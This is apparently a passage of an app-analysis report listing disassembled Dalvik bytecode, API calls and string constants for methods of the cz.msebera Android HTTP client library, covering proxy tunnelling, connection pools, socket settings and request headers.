        37invoke-direct {p0, p1}, Lcz/msebera/android/httpclient/impl/conn/SystemDefaultRoutePlanner;->getHost(Ljava/net/InetSocketAddress;)Ljava/lang/String;
        38move-result-object p3
        40invoke-virtual {p1}, Ljava/net/InetSocketAddress;->getPort()I
        41move-result p1
        43invoke-direct {p2, p3, p1}, Lcz/msebera/android/httpclient/HttpHost;-><init>(Ljava/lang/String;I)V
        44goto/16 :goto_53
        45cond_38: new-instance p2, Lcz/msebera/android/httpclient/HttpException;
        46new-instance p3, Ljava/lang/StringBuilder;
        48invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        50const-string v0, "Unable to handle non-Inet proxy address: "
        52invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        54invoke-virtual {p1}, Ljava/net/Proxy;->address()Ljava/net/SocketAddress;
        55move-result-object p1
        57invoke-virtual {p3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        59invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        60move-result-object p1
        62invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/HttpException;-><init>(Ljava/lang/String;)V
        63throw p2
        64goto_53: return-object p2
        65catch_54: move-exception p2
        66new-instance p3, Lcz/msebera/android/httpclient/HttpException;
        67new-instance v0, Ljava/lang/StringBuilder;
        69invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        71const-string v1, "Cannot convert host to URI: "
        73invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        75invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        77invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        78move-result-object p1
        80invoke-direct {p3, p1, p2}, Lcz/msebera/android/httpclient/HttpException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        81throw p3
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Content-Type:
        • Content-Encoding:
        • Content-Length:
        • Chunked:
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        3const/16 v1, 0x5b
        5invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        7iget-object v1, p0, Lcz/msebera/android/httpclient/entity/AbstractHttpEntity;->contentType:Lcz/msebera/android/httpclient/Header;
        8const/16 v2, 0x2c
        9if-eqz v1, :cond_21
        11const-string v1, "Content-Type: "
        13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        15iget-object v1, p0, Lcz/msebera/android/httpclient/entity/AbstractHttpEntity;->contentType:Lcz/msebera/android/httpclient/Header;
        17invoke-interface {v1}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        18move-result-object v1
        20invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        22invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        23cond_21:
        24iget-object v1, p0, Lcz/msebera/android/httpclient/entity/AbstractHttpEntity;->contentEncoding:Lcz/msebera/android/httpclient/Header;
        25if-eqz v1, :cond_36
        27const-string v1, "Content-Encoding: "
        29invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        31iget-object v1, p0, Lcz/msebera/android/httpclient/entity/AbstractHttpEntity;->contentEncoding:Lcz/msebera/android/httpclient/Header;
        33invoke-interface {v1}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        34move-result-object v1
        36invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        38invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        39cond_36:
        40invoke-virtual {p0}, Lcz/msebera/android/httpclient/entity/AbstractHttpEntity;->getContentLength()J
        41move-result-wide v3
        42const-wide/16 v5, 0x0
        43cmp-long v1, v3, v5
        44if-ltz v1, :cond_4b
        46const-string v1, "Content-Length: "
        48invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        50invoke-virtual {v0, v3, v4}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        52invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        53cond_4b:
        54const-string v1, "Chunked: "
        56invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        57iget-boolean v1, p0, Lcz/msebera/android/httpclient/entity/AbstractHttpEntity;->chunked:Z
        59invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
        60const/16 v1, 0x5d
        62invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        64invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        65move-result-object v0
        66return-object v0
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.util.Set.size
        • java.lang.StringBuilder.append
        • java.util.LinkedList.size
        • java.lang.StringBuilder.append
        • java.util.LinkedList.size
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • [route:
        • ][leased:
        • ][available:
        • ][pending:
        • ]
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "[route: "
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        8iget-object v1, p0, Lcz/msebera/android/httpclient/pool/RouteSpecificPool;->route:Ljava/lang/Object;
        10invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        12const-string v1, "][leased: "
        14invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        16iget-object v1, p0, Lcz/msebera/android/httpclient/pool/RouteSpecificPool;->leased:Ljava/util/Set;
        18invoke-interface {v1}, Ljava/util/Set;->size()I
        19move-result v1
        21invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        23const-string v1, "][available: "
        25invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        27iget-object v1, p0, Lcz/msebera/android/httpclient/pool/RouteSpecificPool;->available:Ljava/util/LinkedList;
        29invoke-virtual {v1}, Ljava/util/LinkedList;->size()I
        30move-result v1
        32invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        34const-string v1, "][pending: "
        36invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        38iget-object v1, p0, Lcz/msebera/android/httpclient/pool/RouteSpecificPool;->pending:Ljava/util/LinkedList;
        40invoke-virtual {v1}, Ljava/util/LinkedList;->size()I
        41move-result v1
        43invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        45const-string v1, "]"
        47invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        49invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        50move-result-object v0
        51return-object v0
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • [soTimeout=
        • , soReuseAddress=
        • , soLinger=
        • , soKeepAlive=
        • , tcpNoDelay=
        • ]
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "[soTimeout="
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        7iget v1, p0, Lcz/msebera/android/httpclient/config/SocketConfig;->soTimeout:I
        9invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        11const-string v1, ", soReuseAddress="
        13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        14iget-boolean v1, p0, Lcz/msebera/android/httpclient/config/SocketConfig;->soReuseAddress:Z
        16invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
        18const-string v1, ", soLinger="
        20invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        21iget v1, p0, Lcz/msebera/android/httpclient/config/SocketConfig;->soLinger:I
        23invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        25const-string v1, ", soKeepAlive="
        27invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        28iget-boolean v1, p0, Lcz/msebera/android/httpclient/config/SocketConfig;->soKeepAlive:Z
        30invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
        32const-string v1, ", tcpNoDelay="
        34invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        35iget-boolean v1, p0, Lcz/msebera/android/httpclient/config/SocketConfig;->tcpNoDelay:Z
        37invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
        39const-string v1, "]"
        41invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        43invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        44move-result-object v0
        45return-object v0
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.impl.client.TunnelRefusedException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.HttpException.<init>
        Strings
        • http.target_host
        • http.route
        • http.proxy_host
        • http.connection
        • http.request
        • Connection kept alive
        • CONNECT refused by proxy:
        • Unexpected response to CONNECT request:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7invoke-virtual {p1}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getProxyHost()Lcz/msebera/android/httpclient/HttpHost;
        8move-result-object v6
        10invoke-virtual {p1}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        11move-result-object v7
        12goto_8:
        13iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        15invoke-interface {v0}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->isOpen()Z
        16move-result v0
        17if-nez v0, :cond_17
        19iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        21iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->params:Lcz/msebera/android/httpclient/params/HttpParams;
        23invoke-interface {v0, p1, p2, v1}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->open(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Lcz/msebera/android/httpclient/protocol/HttpContext;Lcz/msebera/android/httpclient/params/HttpParams;)V
        24cond_17:
        25invoke-virtual {p0, p1, p2}, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->createConnectRequest(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/HttpRequest;
        26move-result-object v0
        28iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->params:Lcz/msebera/android/httpclient/params/HttpParams;
        30invoke-interface {v0, v1}, Lcz/msebera/android/httpclient/HttpRequest;->setParams(Lcz/msebera/android/httpclient/params/HttpParams;)V
        32const-string v1, "http.target_host"
        34invoke-interface {p2, v1, v7}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        36const-string v1, "http.route"
        38invoke-interface {p2, v1, p1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        40const-string v1, "http.proxy_host"
        42invoke-interface {p2, v1, v6}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        44const-string v1, "http.connection"
        46iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        48invoke-interface {p2, v1, v2}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        50const-string v1, "http.request"
        52invoke-interface {p2, v1, v0}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        54iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->requestExec:Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;
        56iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->httpProcessor:Lcz/msebera/android/httpclient/protocol/HttpProcessor;
        58invoke-virtual {v1, v0, v2, p2}, Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;->preProcess(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpProcessor;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        60iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->requestExec:Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;
        62iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        64invoke-virtual {v1, v0, v2, p2}, Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;->execute(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/HttpClientConnection;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/HttpResponse;
        65move-result-object v8
        67iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->params:Lcz/msebera/android/httpclient/params/HttpParams;
        69invoke-interface {v8, v0}, Lcz/msebera/android/httpclient/HttpResponse;->setParams(Lcz/msebera/android/httpclient/params/HttpParams;)V
        71iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->requestExec:Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;
        73iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->httpProcessor:Lcz/msebera/android/httpclient/protocol/HttpProcessor;
        75invoke-virtual {v0, v8, v1, p2}, Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;->postProcess(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpProcessor;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        77invoke-interface {v8}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        78move-result-object v0
        80invoke-interface {v0}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        81move-result v0
        82const/16 v1, 0xc8
        83if-lt v0, v1, :cond_e8
        85iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->params:Lcz/msebera/android/httpclient/params/HttpParams;
        87invoke-static {v0}, Lcz/msebera/android/httpclient/client/params/HttpClientParams;->isAuthenticating(Lcz/msebera/android/httpclient/params/HttpParams;)Z
        88move-result v0
        89if-eqz v0, :cond_8
        91iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->authenticator:Lcz/msebera/android/httpclient/impl/client/HttpAuthenticator;
        93iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthStrategy:Lcz/msebera/android/httpclient/client/AuthenticationStrategy;
        95iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        96move-object v1, v6
        97move-object v2, v8
        98move-object v5, p2
        100invoke-virtual/range {v0 .. v5}, Lcz/msebera/android/httpclient/impl/client/HttpAuthenticator;->isAuthenticationRequested(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/client/AuthenticationStrategy;Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        101move-result v0
        102if-eqz v0, :cond_a7
        104iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->authenticator:Lcz/msebera/android/httpclient/impl/client/HttpAuthenticator;
        106iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthStrategy:Lcz/msebera/android/httpclient/client/AuthenticationStrategy;
        108iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        109move-object v1, v6
        110move-object v2, v8
        111move-object v5, p2
        113invoke-virtual/range {v0 .. v5}, Lcz/msebera/android/httpclient/impl/client/HttpAuthenticator;->authenticate(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/client/AuthenticationStrategy;Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        114move-result v0
        115if-eqz v0, :cond_a7
        117iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->reuseStrategy:Lcz/msebera/android/httpclient/ConnectionReuseStrategy;
        119invoke-interface {v0, v8, p2}, Lcz/msebera/android/httpclient/ConnectionReuseStrategy;->keepAlive(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        120move-result v0
        121if-eqz v0, :cond_a0
        123iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        125const-string v1, "Connection kept alive"
        127invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        129invoke-interface {v8}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        130move-result-object v0
        132invoke-static {v0}, Lcz/msebera/android/httpclient/util/EntityUtils;->consume(Lcz/msebera/android/httpclient/HttpEntity;)V
        133goto/16 :goto_8
        134cond_a0:
        135iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        137invoke-interface {v0}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->close()V
        138goto/16 :goto_8
        139cond_a7:
        140invoke-interface {v8}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        141move-result-object p1
        143invoke-interface {p1}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        144move-result p1
        145const/16 p2, 0x12b
        146if-le p1, p2, :cond_e1
        148invoke-interface {v8}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        149move-result-object p1
        150if-eqz p1, :cond_c1
        151new-instance p2, Lcz/msebera/android/httpclient/entity/BufferedHttpEntity;
        153invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/entity/BufferedHttpEntity;-><init>(Lcz/msebera/android/httpclient/HttpEntity;)V
        155invoke-interface {v8, p2}, Lcz/msebera/android/httpclient/HttpResponse;->setEntity(Lcz/msebera/android/httpclient/HttpEntity;)V
        156cond_c1:
        157iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        159invoke-interface {p1}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->close()V
        160new-instance p1, Lcz/msebera/android/httpclient/impl/client/TunnelRefusedException;
        161new-instance p2, Ljava/lang/StringBuilder;
        163invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        165const-string v0, "CONNECT refused by proxy: "
        167invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        169invoke-interface {v8}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        170move-result-object v0
        172invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        174invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        175move-result-object p2
        177invoke-direct {p1, p2, v8}, Lcz/msebera/android/httpclient/impl/client/TunnelRefusedException;-><init>(Ljava/lang/String;Lcz/msebera/android/httpclient/HttpResponse;)V
        178throw p1
        179cond_e1:
        180iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        182invoke-interface {p1}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->markReusable()V
        183const/4 p1, 0x0
        184return p1
        185cond_e8: new-instance p1, Lcz/msebera/android/httpclient/HttpException;
        186new-instance p2, Ljava/lang/StringBuilder;
        188invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        190const-string v0, "Unexpected response to CONNECT request: "
        192invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        194invoke-interface {v8}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        195move-result-object v0
        197invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        199invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        200move-result-object p2
        202invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/HttpException;-><init>(Ljava/lang/String;)V
        203throw p1
        APIs
        • java.lang.Long.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        Strings
        • HTTP request
        • Transfer-Encoding
        • Content-Length
        • 0
        • chunked
        • Content-Type
        • Content-Encoding
        • Chunked transfer encoding not allowed for
        • Content-Length header already present
        • Transfer-encoding header already present
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7const-string p2, "HTTP request"
        9invoke-static {p1, p2}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10instance-of p2, p1, Lcz/msebera/android/httpclient/HttpEntityEnclosingRequest;
        11if-eqz p2, :cond_c1
        12iget-boolean p2, p0, Lcz/msebera/android/httpclient/protocol/RequestContent;->overwrite:Z
        13if-eqz p2, :cond_18
        15const-string p2, "Transfer-Encoding"
        17invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpRequest;->removeHeaders(Ljava/lang/String;)V
        19const-string p2, "Content-Length"
        21invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpRequest;->removeHeaders(Ljava/lang/String;)V
        22goto/16 :goto_28
        23cond_18:
        24const-string p2, "Transfer-Encoding"
        26invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpRequest;->containsHeader(Ljava/lang/String;)Z
        27move-result p2
        28if-nez p2, :cond_b9
        30const-string p2, "Content-Length"
        32invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpRequest;->containsHeader(Ljava/lang/String;)Z
        33move-result p2
        34if-nez p2, :cond_b1
        35goto_28:
        36invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        37move-result-object p2
        39invoke-interface {p2}, Lcz/msebera/android/httpclient/RequestLine;->getProtocolVersion()Lcz/msebera/android/httpclient/ProtocolVersion;
        40move-result-object p2
        41move-object v0, p1
        42check-cast v0, Lcz/msebera/android/httpclient/HttpEntityEnclosingRequest;
        44invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpEntityEnclosingRequest;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        45move-result-object v0
        46if-nez v0, :cond_41
        48const-string p2, "Content-Length"
        50const-string v0, "0"
        52invoke-interface {p1, p2, v0}, Lcz/msebera/android/httpclient/HttpRequest;->addHeader(Ljava/lang/String;Ljava/lang/String;)V
        53return-void
        54cond_41:
        55invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpEntity;->isChunked()Z
        56move-result v1
        57if-nez v1, :cond_60
        59invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpEntity;->getContentLength()J
        60move-result-wide v1
        61const-wide/16 v3, 0x0
        62cmp-long v5, v1, v3
        63if-gez v5, :cond_52
        64goto/16 :goto_60
        65cond_52:
        66const-string p2, "Content-Length"
        68invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpEntity;->getContentLength()J
        69move-result-wide v1
        71invoke-static {v1, v2}, Ljava/lang/Long;->toString(J)Ljava/lang/String;
        72move-result-object v1
        74invoke-interface {p1, p2, v1}, Lcz/msebera/android/httpclient/HttpRequest;->addHeader(Ljava/lang/String;Ljava/lang/String;)V
        75goto/16 :goto_6f
        76cond_60:
        77sget-object v1, Lcz/msebera/android/httpclient/HttpVersion;->HTTP_1_0:Lcz/msebera/android/httpclient/HttpVersion;
        79invoke-virtual {p2, v1}, Lcz/msebera/android/httpclient/ProtocolVersion;->lessEquals(Lcz/msebera/android/httpclient/ProtocolVersion;)Z
        80move-result v1
        81if-nez v1, :cond_9a
        83const-string p2, "Transfer-Encoding"
        85const-string v1, "chunked"
        87invoke-interface {p1, p2, v1}, Lcz/msebera/android/httpclient/HttpRequest;->addHeader(Ljava/lang/String;Ljava/lang/String;)V
        88goto_6f:
        89invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpEntity;->getContentType()Lcz/msebera/android/httpclient/Header;
        90move-result-object p2
        91if-eqz p2, :cond_84
        93const-string p2, "Content-Type"
        95invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpRequest;->containsHeader(Ljava/lang/String;)Z
        96move-result p2
        97if-nez p2, :cond_84
        99invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpEntity;->getContentType()Lcz/msebera/android/httpclient/Header;
        100move-result-object p2
        102invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpRequest;->addHeader(Lcz/msebera/android/httpclient/Header;)V
        103cond_84:
        104invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpEntity;->getContentEncoding()Lcz/msebera/android/httpclient/Header;
        105move-result-object p2
        106if-eqz p2, :cond_c1
        108const-string p2, "Content-Encoding"
        110invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpRequest;->containsHeader(Ljava/lang/String;)Z
        111move-result p2
        112if-nez p2, :cond_c1
        114invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpEntity;->getContentEncoding()Lcz/msebera/android/httpclient/Header;
        115move-result-object p2
        117invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpRequest;->addHeader(Lcz/msebera/android/httpclient/Header;)V
        118goto/16 :goto_c1
        119cond_9a: new-instance p1, Lcz/msebera/android/httpclient/ProtocolException;
        120new-instance v0, Ljava/lang/StringBuilder;
        122invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        124const-string v1, "Chunked transfer encoding not allowed for "
        126invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        128invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        130invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        131move-result-object p2
        133invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        134throw p1
        135cond_b1: new-instance p1, Lcz/msebera/android/httpclient/ProtocolException;
        137const-string p2, "Content-Length header already present"
        139invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        140throw p1
